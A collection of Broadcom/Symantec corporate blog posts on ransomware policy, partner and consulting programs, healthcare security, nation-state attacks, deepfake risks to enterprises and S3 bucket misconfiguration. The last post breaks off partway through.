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Has Cyber Security’s “Sputnik Moment” Finally Arrived?
Broadcom Software evaluates the new legislation to improve the nation’s cyber security
When the Soviet Union sent Sputnik, the world's first artificial satellite into low-Earth orbit in 1957, it galvanized the U.S. into action, launching a race to space and the moon in the 1960s, and laying the foundation for the information age in the 1990s.
That generational technology revolution was waged in the heat and shadow of a Cold War that locked the U.S. and U.S.S.R. in a competition for geo-political and military supremacy. Following the Second World War, Americans took their technological superiority as a given, but Sputnik was America’s wake-up call – the Soviets were a serious, determined technological rival.
With the turn of the century, the world transitioned from the information to the internet age, and the race for technological supremacy was being run more in commercial arenas. This was also the time of Y2K and fears of a “Cyber Pearl Harbor” following the attacks on 9/11, when “cyber-security” became not just a word, but an emerging industry. Strangely, despite two decades of high-profile data breaches and threats to our critical infrastructure, it’s only recently that the U.S. government and the private sector are together taking a “Sputnik moment” approach to cyber security. The present-day Sputnik: ransomware.
Yes, ransomware attacks have been around for a long time. What’s different: the frequency and reach of these attacks are invading and disrupting our day-to-day lives. Ransomware attacks have shut down public transportation, oil pipelines, and even hospitals. Additionally, this year, the scope of the attacks has grown even more. The May attack against Colonial Pipeline, one of the nation’s biggest fuel pipelines, led to a shutdown of the company’s fuel distribution operations, leading to gas shortages across the eastern U.S. A few months later, hundreds of companies fell victim when ransomware attackers compromised a software supplier called Kaseya, using it as a jumping off point to extort the company's customers.
The present-day Sputnik: ransomware.
What’s made these and similar attacks a collective Sputnik is how they have sparked a change in the general public’s attitude toward ransomware. Before the pandemic, ransomware wasn’t a topic that most people heard or talked about. Today, it's part of our daily vocabulary. The Colonial attacks showed us in a very personal way how a ransomware attack could trigger widespread disruptions. And this wasn’t exclusive to the United States.
Attacks such as the one against Ireland’s national health service, the Health Service Executive, also showed us how ransomware attacks and demands for money could be both life-changing and life-threatening. As with Sputnik, these incidents have become a wake-up call for policymakers. In this hyper-connected economy, there is no sector nor infrastructure that is immune to an attack.
In fact, engagement by both the legislative and executive branches is being powered by a shared sense of bipartisan urgency. There’s eagerness among legislators to pursue solutions, and a commitment among key leaders in the Administration to engage in a “whole of government” approach across agencies at all levels of government – federal, state, and local – and between government and the private sector. Whether this heightened sense of purpose will translate into new laws and regulations is unclear. What is clear is the shift in focus and shared purpose.
From our perspective at Broadcom Software, the growing bipartisan consensus to take strong action to shore up our nation’s cyber security can only be a net positive. We’ve already seen Congress this year provide substantial investments targeted at improving cyber resiliency across government, most recently in the bipartisan infrastructure package that just became law. The House and Senate are also close to an agreement on measures that would enforce more rigorous threat incident reporting. That would be a very welcome step to promote the sharing of information about looming cyber threats, especially when organizations fall victim to attacks (something they often prefer not to publicize).
In this hyper-connected economy, there is no sector nor infrastructure that is immune to an attack.
The Biden Administration, through its Executive Order earlier this year, is taking a comprehensive and collaborative approach with the private sector to improve software supply chains and architectures, and overall cyber resilience, while key federal agencies ranging from the Cyber Security and Infrastructure Security Agency to the National Institute of Standards and Technology, are working closely with security professionals across all sectors of the economy to turn the tide against ransomware.
As someone who has been immersed in technology policy over three decades, I can attest that this is a different era with a different set of circumstances. This debate wouldn’t have reached so deeply into the corridors of power in Washington were it not for the impact that ransomware is having on all Americans, and the organizations that matter in their everyday lives, notably schools, hospitals, and where they work.
Ever since man took to the skies, American scientists knew that the U.S. ultimately would be involved in a race for space. But it wasn't until Sputnik that science fiction became national action. My hunch is that future historians, looking back to understand when and why the U.S. turned a corner on cyber security, will view ransomware in a similar way.
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Have You Got the Right Stuff?
Broadcom Software Knight program for the Enterprise
Broadcom Software Knights
If you’re a Broadcom Software customer seeking implementation help, there’s no better place to turn than our Broadcom Software Knight Partners. These are vetted, highly certified individuals who know our product line inside out and are the best in the business. We make sure that they have broad technical experience and numerous certifications so you can rest easy knowing you’ve got a seasoned expert on your team.
We bestow Broadcom Software Knighthoods on individuals, not organizations. Individuals are picked via a rigorous selection process and are offered the highest level of recognition that Broadcom Software provides for Partner individuals. There are 25 Broadcom Software Knights, with a goal of approximately 100 by the end of this fiscal year.
Knights have years of experience integrating software from multiple vendors across a broad range of security applications. If you’ve run into a technical problem, they’ve likely seen it and solved it before. So, what special skills are required for knighthood?
Certified understanding of key implementation and configuration concepts verified through a third-party exam.
Implement/architect candidates must complete customer engagements and submit evidence and documentation for review by Broadcom experts.
Candidates must show extensive sales expertise on all Broadcom products and perform proof-of-concept engagements for review.
Broadcom Software Knights also receive ongoing, specialized technical training as well as up-to-the-minute product presale and sales intelligence. This information is identical to what we teach our own Broadcom Software sales force, engineers and solution architects.
And there’s an extra perk: Since Knights are deeply integrated into our product and engineering development cycles, customer feedback about problems or concerns carries extra weight.
Broadcom continues to encourage dialogue between Knights and Product Management, where the Knight can reverberate the customer identified concerns and distinctly describe what option outcomes would benefit customers as a whole with product improvements or feature additions where additional functionality can be achieved. - Aileen Kara Hudspeth, Braxton-Grant Technologies.
Keep in mind that Knights are product agnostic. They work with all manner of software platforms, not just ours.
Broadcom Software Knights in Action
Our Knights are solving problems for the enterprise every day. A few examples include:
One customer requested recommendations on migrating from an S-Series appliance to a new Symantec Security Platform series appliance of proxy devices. No current internal or external Broadcom Software guide exists on best practices for executing a smooth transition of this kind, so we recommended a Broadcom Software Knight. The Knight completed the work with the customer as they migrated from older appliances to the new ISG Virtual Proxy SKU, and documented the individual configuration changes required. The customer was happy. And it allowed the Knight’s team to create a process to help customers generate Gold Images of previous physical Proxy appliances to assist in migration to virtual appliances, as well as future deployment readiness.
Another Broadcom Software Knight provides a customer with health assessments on the current setup of its ProxySG and Web Security Service. He obtains Sysinfo files and analyzes them to find areas where the company can improve performance or mitigate potential issues. He also does a policy review to identify policy layers that are out of order that could cause issues in traffic evaluation. And he makes sure that there is a healthy use of source and destination objects -- not just a list of URLs or IPs, but Server Certificates.
Another customer requested training for Management Center & Reporter systems. A Broadcom Software Knight built an educational workshop on the platform, based on best practices from the Broadcom team, to deliver a complete and thorough PowerPoint and an instructor-led virtual session for the company. The customer still uses this PowerPoint and information as it continues to take care of its MC & Reporter installations.
Broadcom Software Knights are here to help you. They know legacy systems, can integrate current products -- and they know what’s coming. For more information on the program, visit us here.
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HCL and Symantec Consulting: Accelerating the Security Transformation
HCL’s incorporation of Symantec Enterprise Division consulting services creates greater value and enables enhanced security for customers
Enterprise security just became a lot easier for customers to manage, navigate and ultimately transform.
This is the key message security leaders should take away from the recent announcement that Symantec Enterprise's, a division of Broadcom (NASDAQ: AVGO), consulting services has joined HCL Technologies. Our new alliance offers the better of two possible worlds to legacy and new customers of Broadcom/Symantec Enterprise, and HCL Technologies.
The new organization marries the Symantec consulting team’s deep technical expertise, insight, and history deploying Symantec’s security products with solutions from HCL’s deep industry expertise, global footprint, and history serving customers across many different verticals across the Enterprise.
It’s a combination that offers our customers a robust pathway toward transforming their security environments and moving their security programs up the maturity curve.
The alliance is central to the announcement that HCL and Broadcom are expanding on the global services partnership the two companies signed in 2018. As part of that partnership expansion, the majority of Broadcom’s CA Technologies enterprise consulting moved to the center of excellence, Enterprise Studio by HCL Technologies. Today, the Symantec consulting personnel with expertise across Endpoint Security, Web Security Services, Cloud Security, and Data Security will join the same team to provide more complete capabilities to our customers.
A Classic “Win-Win”
The additional expertise and expanded capabilities that Symantec Global Consulting brings to HCL assures customers who are challenged by today’s complex operating environments that they have a partner who understands these challenges and has the ability to solve them. Simply put: no organization has more of a technical connection to Symantec security products and how to make them work together than Symantec Global Consulting. The new association creates a classic “win-win” scenario for HCL Technologies, Symantec, and all of our legacy, new, and future customers.
With this shift of Symantec Global Consulting to HCL, Broadcom creates an organization with the deepest and longest experience in working with Symantec products. It brings to HCL the expert team that was the consulting vendor with the closest and tightest ties to Symantec Support, R&D, Engineering, and Product Management. We further complement the existing security practice at Enterprise Studio.
As part of HCL, none of that changes. We remain the preferred consulting team and, as such, we will still have the closest ties into Symantec, both organically, because of our team’s long standing prior relationships, and structurally, because of the preferred vendor agreement, enhanced support access, and engagement with Symantec and Broadcom leadership. It also means that our customers can be assured that HCL will also have tight relationships and escalation paths into support. When we deploy new technologies for you, we will be able to leverage our deep deployment experience and our enhanced working relationship to improve time-to-value, help you transform your security environment, and improve your security maturity.
With this shift of Symantec Global Consulting to HCL, Broadcom creates an organization with the deepest and longest experience in working with Symantec products.
But that’s just part of the value proposition. In addition to getting the technologies to work, I know that many of you are at the point where you also have to think about how you’re going to get these technologies to all fit together. In other words, to understand how the overall security program works, including aspects like planning out the lifecycle and the maturity of the different elements of your security program so they all work together well.
At Symantec, we have the ability of integrating our own security technology; and with our Integrated Cyber Defense architecture we support third-party integrations. But now, as part of HCL, we have a much bigger box of tools to pull from, including technology expertise that we didn’t have access to before like enterprise resource planning (ERP), computer-integrated manufacturing (CIM), messaging technologies, IOT/Embedded security, and managed services.
So now, when we offer our customers a solution, we have the people and methodologies to answer all of your needs, thus allowing us to help you transform your security environment.
An Enhanced Level of Accountability
So, what does the new alignment ultimately mean for you, our customers? I see it as bringing together the deep vertical expertise of Symantec in enterprise security with the wide horizontal expertise of HCL’s vast bench of industry verticals. Looked at from a business perspective, it allows us to offer a combination of technical and horizontal skills that only a large systems integrator (SI) can provide. It assures you that we have the expertise to help you build, maintain and evolve the right security program for your enterprise—now, and for years to come.
Like you, we at Symantec Global Consulting are in it for the long haul. The connection of Symantec consulting services to HCL demonstrates that Broadcom is likewise committed to Symantec’s Enterprise Security products and solutions and customers for the long-term.
Looked at from a business perspective, it allows us to offer a combination of technical and horizontal skills that only a large systems integrator (SI) can provide.
In the current economic environment, the need to improve operational efficiency and get the most out of your team requires product integration, process integration, automation, and creative thinking.
We understand that being your preferred services provider demands of us an enhanced level of accountability and expertise. We embrace that demand and seize that commitment.
In closing, I’d like to personally invite you to contact us at Symantec Global Consulting to talk about your unique business and cyber security concerns. We welcome the opportunity to learn about your enterprise and look forward to answering any questions or discussing any issues you may have. Contact us
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Healthcare Cyber Security: Is That Light at the End of the Tunnel?
Despite encouraging signs that providers are turning the corner, there remains no shortage of obstacles still to hurdle
Cyber criminals have recognized the healthcare industry as a lucrative and easy target. Is the healthcare industry finally ready to step up their cyber security efforts?
Clearly, this should be the time to take serious action. Healthcare faces a growing assortment of threats from increasingly sophisticated malicious actors - whether we’re talking about nation states, hacktivists, or financially motivated cyber criminals. Attackers now have the capability, and have demonstrated the ability, to steal confidential data, ransom or blackmail hospitals, and disrupt or even shut down services.
But as we learned from HIMSS Analytics and Symantec’s just-released IT Security and Risk Management study of the healthcare industry, although we are seeing some signs of improvement, the industry still has a way to go.
On the plus side of the ledger, hospitals are budgeting more than ever before to protect their data against cyber criminals. But while healthcare providers have started to move the needle, the majority is still spending 6% or less of their IT budgets on security. That’s not enough. By comparison, consider the finance industry, which typically tends to spend 10 to 12% of its IT budget on security.
Healthcare Under Attack
I took encouragement from the finding that cyber security is no longer considered by healthcare providers solely an IT responsibility or a compliance issue.
The WannaCry attack that famously paralyzed the United Kingdom’s National Health Service last spring may go down in the annals as the proverbial wake-up call. Indeed, that attack had the most impact of any single event that I’ve ever seen in raising awareness within the healthcare sector of the depth of the threat it faced.
Cyber security in healthcare used to be mainly a HIPAA compliance concern. That’s now changed as the industry learned from first-hand experience the risks associated with ransomware attacks or advanced attacks like WannaCry.
Healthcare faces a growing assortment of threats from increasingly sophisticated malicious actors - whether we’re talking about nation states, hacktivists, or financially motivated cyber criminals.
In the last couple of years, cyber attackers demonstrated that healthcare’s exposure goes beyond protecting data; they can actually shut down hospitals and impact care delivery. Healthcare leaders are realizing that this was a lot more serious than the prospect of a HIPAA fine or audit. Simply put, if your clinical staff can't access data, there is a severe impact to delivering patient care. No surprise, then, to learn that 60% of healthcare providers now consider risk assessment, rather than just HIPAA compliance, their top consideration in their security investments.
Hospital security teams are already stretched thin and now we are asking them to focus on the advanced threats posed by highly sophisticated criminal actors or malicious nation states or cyber terrorists. I’m not saying that it’s bad to invest in HIPAA. But with limited funds, it’s difficult to remain vigil across the entire risk spectrum, yet it is vital to invest in all areas where there is a need.
This also requires a cultural change. Compliance is a slow-moving target where the requirements may change every 4 to 6 years or so. It’s a fixed target you can aim at. Security is the polar opposite where being nimble and adopting to rapid change is paramount for any security program.
Budget Competition
The cost of IT infrastructure in healthcare is always going to be higher than in most other industries. The highly specialized equipment and software applications found in healthcare institutions not only cost a lot to acquire but it’s also expensive to maintain.
Meanwhile, security has to compete with other budgetary priorities that are easier sells within the organization and may provide more visibility. For example, the local paper may run a big story when a hospital spends a million dollars on the latest surgical robot or does something else that establishes its reputation for being on the leading edge of medical research or technology. But who is going to pay attention if the hospital spends the same $1 million on encryption or on tougher network security?
What’s Next?
Still, there are reasons to be optimistic that, albeit slowly, things have started to move in the right direction.
There’s greater recognition of the broader security risks to the hospital network and the integrated medical devices. Over the last decade, healthcare has undergone a digital transformation and providers have become acutely aware how dependent they now are on the availability of digital systems and data.
As they’ve learned from being on the receiving end, cyber attacks can lead to a shutdown of equipment, thus disrupting a hospital’s ability to offer clinical services. You’re also starting to see the growing appreciation of the cyber security implications of an increasingly connected world. If a malicious hacker can bust in and tamper with the temperature of the hospital HVAC system, they can put operating rooms out of order and cause the cancellation of scheduled operations.
Another sign of change: Healthcare has traditionally been hiring CIOs or CISOs with healthcare backgrounds who ideally knew your organization from the inside. That mindset still lingers but more senior security positions now get filled with candidates who come from outside of the healthcare industry. That’s a good thing and also a welcome sign.
For me, however, the biggest source of optimism has to do with the cultural change that I’m observing and seeing in my interactions with customers. Both on a security level as well as on the business level, I’m having more engagements than before that indicate decision makers across the board are starting to wake up to the challenge of security. Evidence of a true fundamental and transformative change is becoming apparent.
There is no doubt, attacks will keep up in 2018 and hospitals are again going to find themselves in the cross-hairs. It’s up to the boards of directors to recognize this as the new normal. Cyber security can’t any longer be shrugged off as an IT problem or merely a compliance issue. Yes, it’s all that but this goes way beyond technical considerations. Above all, cyber security must be viewed as a strategic business concern.
Failing that, hospitals will be at risk to keep playing catch-up - and they’ll always be a step behind the bad guys.
Symantec is participating at the HIMSS18 conference next week where we’ll be sharing more on the findings from this research. So, come grab a coffee at our booth (#2429), and I look forward to continuing the discussion.
If you found this information useful, you may also enjoy:
3rd Annual Healthcare IT Security & Risk Management Study
A 5-Step Plan to Bolster Healthcare Cyber Security
Why a Medical Device Security Risk is a Patient Safety Risk
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Healthcare is Paying a Big Price by Neglecting Security
Hospitals can’t afford any longer to manage cyber security strategy by the seat of their pants. Doing business in the 21st century requires strategic urgency
Healthcare, now the No.1 target for cyber criminals, suffered a bruising 2017, taking into account even just ransomware attacks which soared an estimated 89%. Cyber criminals have predictably continued their attacks in the new year with malicious hackers interrupting service and holding data hostage in return for ransom.
The string of attacks carried against the healthcare industry made news headlines around the country and painted a picture of an industry under siege. But there was also a silver lining: Hospitals now know that they’re in the cross-hairs and are fully aware of the changing threat landscape.
But heightened awareness doesn’t always translate into effective action. In many instances, in fact, the industry’s approach to cyber security remains one that is still too reactive– to the point where it’s essentially management-by-headline. At that point, it’s too late because the bad guys have already won.
And let’s not kid ourselves by thinking this is a temporary crisis. Consider the following:
· There is no sign that attacks will let up in the foreseeable future as they grow in number and sophistication.
· Ransomware is here to stay as attackers follow the money.
· These more potent attacks threaten to do great harm and could severely impair healthcare delivery.
· It’s not always a cyber stick-up. Hospitals are also prey to “hacktivist” attackers out to make a political point.
If the healthcare industry is ever going to regain the upper hand, it needs to approach the challenge with strategic urgency. To be sure, we’re seeing more hospital leadership and boards take interest – and even ownership - of security. But improved security investment across the board is still lagging and many health organizations are still challenged to improve their security posture.
Some of the recent attacks have forced hospital management to make some very difficult decisions. After being forced to switch to pen-and-paper, Hancock Health in Greenfield, Ind. decided it was worth paying 4 Bitcoins, worth about $55,000, to retrieve access to its digital data. Realizing that their main systems were held for ransom and their access to backup data was also compromised, the company’s CEO said, there was no choice other than paying a small ransom. Also consider the amount of research data a hospital holds. If not backed up properly, years of critical research could be in jeopardy if a ransom attack is successful, forcing a hospital to pay up.
I get it. Hospitals are under tremendous pressure to restore care delivery operations and can’t just tell patients to return next week. Hospitals can’t accept downtime and so it’s easy to understand their need to get back online and serve their patients as rapidly as possible. No institution wants to wind up like Erie County Medical Center, which incurred millions of dollars in remediation costs and business losses after deciding not to pay a $44,000 bounty demanded by ransomware attackers last April.
Security experts and even the FBI advice that paying up is the wrong thing. Giving into ransomware threats only encourages future acts of criminality while also financing the attacker’s business model. It’s also a band aid, a manifestation of what I call management by headline where a healthcare organization’s leadership opts to jump on the latest threat or reported event. It’s also a reactive and tactical approach to cyber security that’s bound to lead to problems later on.
Healthcare is Different
When it comes to cyber security, healthcare is different from other sectors in several ways. It’s an industry with an IT infrastructure that’s far more complex and varied than any other, ranging from million-dollar imaging equipment all the way to one-off devices. Such diversity leads to an interwoven ecosystem of systems and devices, running on many different platforms and with differing security maturity, creating dependencies and limitations that make security and change management a complex task.
It’s also a compliance-driven business where regulations about the protection of patient data create unique needs. But being able to comply with HIPAA requirements and pass an audit to evade a financial fine doesn’t also mean that you’ll be able to defend your organization against a motivated hacker intended on carrying out a malicious attack. Auditors may sound scary but even more terrifying are cyber criminals that can wreak havoc within your organization and compromise the safety of your patients.
And let’s also recognize the blunt truth that healthcare has traditionally not attached that much importance to cyber security. I am generalizing because, yes, there are lots of security-conscious hospitals in this country and abroad. But too many have needed a wake-up call to jolt them out of their lethargy.
So, what should they be doing differently to more strategically and proactively manage security risks?
Board leadership is Key
This is the time for senior leadership to step up and insist that cyber security become a strategic component that aligns with the hospital’s overall business objectives. It also requires them to define overall governance and set goals, including a proper definition of their level of risk tolerance.
Risk Management
No hospital has an infinite amount of money to lavish on securing every widget, monitor every employee 24/7, and purchase all the latest boutique security technologies. Still, they can get the most out of their budgets by adopting a top-down and risk-based approach. Instead of talking about technology first, the security discussion should center on identifying the risk priorities, establish enterprise wide security objectives and strategy – and then figure out the budgets, processes and technical requirements needed to combat those threats. For hospitals, there’s the extra burden of expanding their understanding of today’s threats to build a capable security program, not just thinking that HIPAA compliance is the final world.
Deeds, Not Words
Top management needs to walk the talk, establish a culture of security and take responsibility for implementing a mature security program. That means allocating sufficient budget to cover the requirements of staffing and promoting cyber education throughout the organization to foster a real culture of security.
Security is Everyone’s Responsibility
This is a perennial challenge for all organizations – and the challenge is compounded in an environment where so many people freely walk in and out the door each day. But every hospital employee needs to understand that security is part of their job description. If they fail on that count, it can wind up harming patients as well as disrupting the hospital’s ability to deliver care.
Based on government incentives under the HITECH Act, hospitals have become digital organizations faster than any other industry and they now need to respond to the changing security demands of doing business in the 21st century. For that, they can’t manage by the seat of their pants. They need leadership and establish a strategy that is up to the task.
Keeping the Cyber Discussion Going
With HIMSS18 just a month away, this is a great opportunity for us to come together as an industry to discuss these very real challenges and exchange ideas on how to address them. Symantec is very excited to partner with HIMSS again this year to share information and recommendations that can help healthcare providers improve their security posture. And I invite those attending to swing by the Symantec booth (#2429) on the expo floor, or visit us in the Cyber Security Command Center and take our Ransomware Challenge. Hope to see you there.
If you enjoyed this blog, you may find these links helpful:
Symantec Internet Security Threat Report 2017: https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/istr-ransomware-2017-en.pdf
Businesses most at risk from new breed of ransomware: https://www.symantec.com/blogs/threat-intelligence/ransomeware-risks-2017
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Help! A Hostile Nation-State Just Targeted Me
As more enterprises are likely to wind up landing in the cross hairs of nation-state attacks, here’s what you can do to protect your organization
Targeted attacks were a big story these last few years, whether it was suspected Russian hacking of data from the Democratic National Committee (DNC) to influence the U.S. presidential election or a hostile nation-state attempting to breach the power grid in Ukraine.
Yet it’s not just government bodies and countries that sit in the crosshairs of targeted attacks. Private enterprises and corporations are more likely to find themselves under siege as hostile nation-states become more embolden to pursue cyber espionage while also ramping up subversion and sabotage activities. The recent spate of nation-state hacks has also had more widespread collateral damage—for example, last June’s NotPetya cyber attack on Ukrainian tax software also infected global giants such as FedEx, which pegged costs related to the incident at around $300 million.
According to Symantec’s 2017 Internet Security Threat Report (ISTR), there’s been a notable shift in cyber espionage to more overt activity focused on destabilization and disruption and taking aim at both targeted organizations and countries. At the same time, covert measures such as stealing intellectual property and trade secrets have dropped off somewhat.
The groups responsible for this new wave of targeted attacks have also begun to switch up methods, the 2017 ISTR found, moving away from customized malware to “living off the land” tactics for orchestrating strikes. As a result, operating system features, legitimate administrative tools, and cloud services are being employed to compromise targets, making detection all the more difficult, the Symantec ISTR found.
“The vast majority of targeted attacks have already been against the corporate enterprise, but now we’re shifting away from espionage to subversion and sabotage,” says Eric Chien, a distinguished engineer and technical director for Symantec’s Security Response team.
Chien chalks up the shift to a growing desire to achieve political gain and the snowball effect among perpetrators once it’s become clear that such attacks are indeed possible. “The idea is to disrupt, gain access, and maintain access to showcase a political message,” he explains.
So, what do corporations or smaller companies have to do with propagating political messages? The answer is a lot, especially if the political message becomes amplified through sabotage of infrastructure, for example. Enterprises and smaller entities, not government agencies, are generally the ones with oversight of critical infrastructure like power grids, Chien explains, making it more likely that they’d be targets in these nation-state-sponsored sabotage and subversion incidents.
“You’re not going to go after the White House, the Pentagon, or even the Department of Energy to turn off power,” he explains. “You’re going to go to [companies like] AT&T, Pacific Gas & Electric (PG&E), or a mom and pop energy provider who pumps biomass energy to the grid. You’re going to go after someone in the supply chain.”
Multi-Pronged Security: The Best Defense
For IT and security professionals, the message is clear: Don’t be lulled into a false sense of security that the possibility of a nation-state attack is someone else’s problem. Info-sec professionals should keep this threat vector in their sights and address their security posture, not by investing in some new and unproven solution, but rather by ensuring that multiple, overlapping, and supportive defensive systems are in place and used the way they are intended.
That’s the strategy David Berry, a contract CIO, takes during assignments serving companies across industries, from fashion to aerospace. “Many companies think why would a nation-state want my data and how naïve is that,” he says. “We have to defend our perimeter because we don’t know where the threats are coming from.”
Enforcing security policies that mandate encryption of customer data and sensitive data at rest and in transit, receiving alerts for new vulnerabilities and threats, patching known vulnerabilities as quickly as possible, and mandating robust password policies are all part of a proven playbook and are essential for protecting the enterprise against a targeted attack. Educating employees on the dangers posed by spear-phishing emails and implementing a full security stack covering emails and endpoint protection are also essential safeguards against possible infiltration.
“The reality is at some level, these attacks are no different,” Chien explains. “All the security solutions are out there--they are just not always implemented today.”
Consider, for example, the hacking of Clinton campaign manager Jon Podesta’s email, which was a clear nation-state attack. Chien says the incident might have been averted if standard security measures like two-factor authentication were in place as a standard best practice, he explains.
Where targeted attacks by nation-states differ from the garden variety hack done by some script kiddie in a basement lies with their persistence. This makes it all the more critical for security professionals to be vigilant and prepared.
“The difference is about money and motivation, Chien says. “Because nation-states have unlimited funds to do damage, you need to expect persistence. They’re not just going to move on, they’re going to do everything they can and may be more difficult to predict.”
If you found this information useful, you may enjoy:
Uncovering the Next Significant Cyber Attack
Internet Security Threat Report 2017
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Here's How Deepfakes Can Harm Your Enterprise — and What to Do About Them
Deepfake attacks may be inevitable, but enterprises can take measures to protect against them or at least, mitigate their impact
Deepfake videos — fake videos created or doctored by AI and machine learning (ML) to look like the real thing — have gone mainstream, including one purporting to show a drunken Nancy Pelosi. There’s been a lot of focus on their implications for politics, entertainment figures and national security. But enterprises need to fear them as well. Experts warn deepfakes could show a CEO announcing false bad news about her company, sinking the stock price and harming the brand. (Earlier this year, a deepfake was released of Mark Zuckerberg bragging about his control of billions of people's stolen data.) They could be used for extortion — creating a deepfake and threatening to release it unless a ransom was paid. And there are other dangers as well.
In this post, I’ll explain the damage they can do to enterprises, and offer advice on how companies can best combat them.
Andrew B. Gardner, Senior Technical Director and Head of AI/ML for Symantec’s Center for Advanced Machine Learning (CAML) makes no bones about how dangerous deepfakes are for enterprises and society. “Fake content like videos, photos, emails, transactions, etc., are an enormous risk to enterprises and society as a whole,” he says. “In my opinion, this is the most significant risk we must deal with in an AI/ML world: How do you make decisions when you don't know what is real?”
Experts warn deepfakes could show a CEO announcing false bad news about her company, sinking the stock price and harming the brand.
Enterprises need to worry not just about the obvious dangers, such as a faked video of a CEO saying things that damage the company, he warns. With deepfakes, he says, “You can fake an interaction with a company executive to dupe an employee into wiring money to a new ‘supplier.’ More insidiously, perhaps, you can induce users to exfiltrate innocuous business information, like documents, transaction details for a deal, a customer order, etc., which can then be leveraged for crime or fraud in more subtle, perhaps ongoing fashion.”
Jonathan Morgan, CEO of New Knowledge, which protects companies from online campaigns designed to damage their reputations, says that deepfakes can also be used in supercharged spearfishing campaigns. “Faked videos and audio distributed to employees could trick them into releasing or sharing logon credentials, which can then be used to gain access to an enterprise’s network,” he warns.
And Douglas Mapuranga, Chief Information Officer for the Infrastructure Development Bank of Zimbabwe and President of the non-profit ISACA information security organization’s chapter in Harare, adds that deepfake videos of CEOs could put them in legal danger: “If a deepfake has a corporate executive saying he or the company has violated the law, the officials could find themselves in serious legal jeopardy.”
How Real Is the Deepfake Danger?
Security experts say the dangers enterprises face from deepfakes are very real and will likely hit soon.
“We’re already seeing early signals that deepfakes will be used to spread political disinformation, and that means it’s only a matter of time before they’ll be used against enterprises,” Morgan says.
Symantec’s Gardner agrees. “There’s no natural barriers to entry,” he explains. “This all operates in a digital world and attacks are cheap to conduct…We are blind to the warning signs because the quality of the fake content is so believable, and our vigilance is low.”
How Enterprises can Protect Themselves
If deepfake attacks are inevitable, what can enterprises do to protect against them or mitigate attacks’ effects if they’re successful?
Mapuranga says company employees need to be educated about the dangers of deepfakes and how to detect them. In the long run, he hopes that a technological solution might be developed, for example, using blockchain as a way to authenticate video, audio and visual content. Along those lines, Symantec researchers Vijay Thaware and Niranjan Agnihotri have written a white paper, “AI Gone Rogue: Exterminating Deep Fakes Before They Cause Menace,” about how machine learning might be used to detect and thwart deepfakes.
But Morgan believes it will be impossible to detect and block deepfakes before they’re distributed.
“It’s not reasonable to expect enterprises to stop deepfakes from occurring because the only way they could do that would be not to release audio or video of a high-profile company executives that can be altered. That would make it very difficult for the company to communicate with the public and shareholders — and doing that is a natural part of business.”
In the long run, he hopes that a technological solution might be developed, for example, using blockchain as a way to authenticate video, audio and visual content.
Instead, he says, enterprises should focus on detecting a deepfake as early as possible after its release, and then mitigating its effects. It’s too difficult to automatically find and analyze the contents of a video and determine it’s a deepfake, he believes. So enterprises should look for “distribution patterns, including a network of social media accounts, that are used to distribute deepfakes.”
Doing that, he believes, will help find deepfakes quickly, and give an enterprise early warning so it can fight back. Once a deepfake is detected, he says, a team composed of “corporate communications, crisis communications, and public affairs groups inside an enterprise can quickly and preemptively counter the narrative that is being furthered by the deepfake. That dramatically reduces the likelihood that people are fooled by the fake content.”
Symantec’s Gardner agrees, but warns that being able to detect fake content is beyond the capabilities of most enterprises.
“Most enterprises should abandon any idea of detecting fake content on their own, and favor working with a partner,” he says. Identifying deepfakes “requires a lot expertise, continuously deployed, to maintain high-quality detection of fake content. That is simply too expensive for most enterprises to commit to on their own.”
The upshot of all this? Deepfakes are here to stay, and they may target your enterprise one day. So educate your workforce about them, find the right partner for detecting them and put together a team that can respond to deepfakes when they’re released.
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Here's How to Prevent Your S3 Buckets from Leaking Data
As AWS adoption grows, so does the risk that some form of cloud misconfiguration will leave you vulnerable to attack
It was the kind of mistake that could have easily turned into a security nightmare.
Over the summer, a mistakenly configured Amazon S3 bucket publicly exposed thousands of internal documents belonging to a large hosting provider. The information included usage stats, pricing data, server config information, CPU specs, hostnames, operating systems and server loads.
In this instance, the problem was caused by an AWS salesperson who had failed to follow best practices for storing information. Luckily, no customer information was in the exposed bucket. But this is turning into an increasingly common occurrence. Similar situations have affected multiple companies, sending them scrambling after misconfigurations in an S3 bucket accidentally exposed classified data.
These types of examples really add validity to Gartner’s quote that “through 2022, at least 95% of cloud security failures will be the customer’s fault.” I’ll talk momentarily about how your organization can avoid becoming the next headline, but it’s important to first consider how we’ve reached this point and why this problem has become increasingly commonplace.
The Perfect Storm
Up until around 3 years ago, I’d commonly hear customers state that “the cloud was insecure.” People clung to a perception that cloud computing was not just rife with risk but opaque; that you would hand over data and it would wind up on a server somewhere without the owner having any idea about the location or the way their information was being handled. Or the fact that because they couldn’t use their old guard security tools in the cloud, meant the platforms weren’t ready.
Since then, the cloud providers have done a lot of heavy lifting to knock down these concerns by offering compliance with the likes of regulations, including SOX, ISO and HIPPA, and landing very security conscious customers like the CIA with the FBI and Pentagon following suit. All the while educating customers about what cloud providers were doing with security and customers’ responsibility when it comes to security in the cloud.
The result: worries dissipated as people began to realize that in certain respects they were even more secure in the cloud. As big financial institutions and government agencies got up on stage at keynotes and talked about how they were rapidly adopting cloud computing, much of the rest of the working world followed and a massive shift ensued.
Unfortunately, there are cracks in the system, and those cracks are the same customers rushing to use the platforms. So why are people making mistakes when it comes to cloud adoption? Let’s talk about two reasons which are shortage of skilled personal and a new consumption path.
Along with the huge adoption of the cloud, there’s also a huge demand for people who know the cloud – a good way to see this is by looking for any job in IT and see what employers want. For example, check out the Robert Half Technology 2016 Salary Guide. The list of Hot Certifications included Cisco Certified Network Associate (CCNA), VMware Certified Professional (VCP), and Microsoft Certified Professional (MCP). Now check out Robert Half Technology 2019 Salary Guide and notice the difference: added to the list are AWS, MCSE: Cloud Platform and Certified Ethical Hacker (CEH) certifications. Why the change? – simple supply and demand. There is so much momentum for companies to hire professionals that can really use the cloud to its full extent, that there simply aren’t enough people to fill those jobs. Put cloud security on top of that list of skills required, and your supply of knowledgeable workers gets even smaller.
At the same time, think about how the cloud changes IT consumption. In an on-prem world, if you want to share files, you’ll first try to send it via email, and if that doesn’t work (probably because the files are too big), you’d go to helpdesk or IT, ask about a network share or some other way to host files and share externally. Whether it was intentional or not, the IT administrator would have visibility into what you’re doing. He’d either use LDAP, Active Directory or something else to know who has access to the data and set up the share himself. There was a well-practiced process for procuring IT resources, and security was somewhere in that process to make sure you weren’t doing something you shouldn’t.
Unfortunately, there are cracks in the system, and those cracks are the same customers rushing to use the platforms.
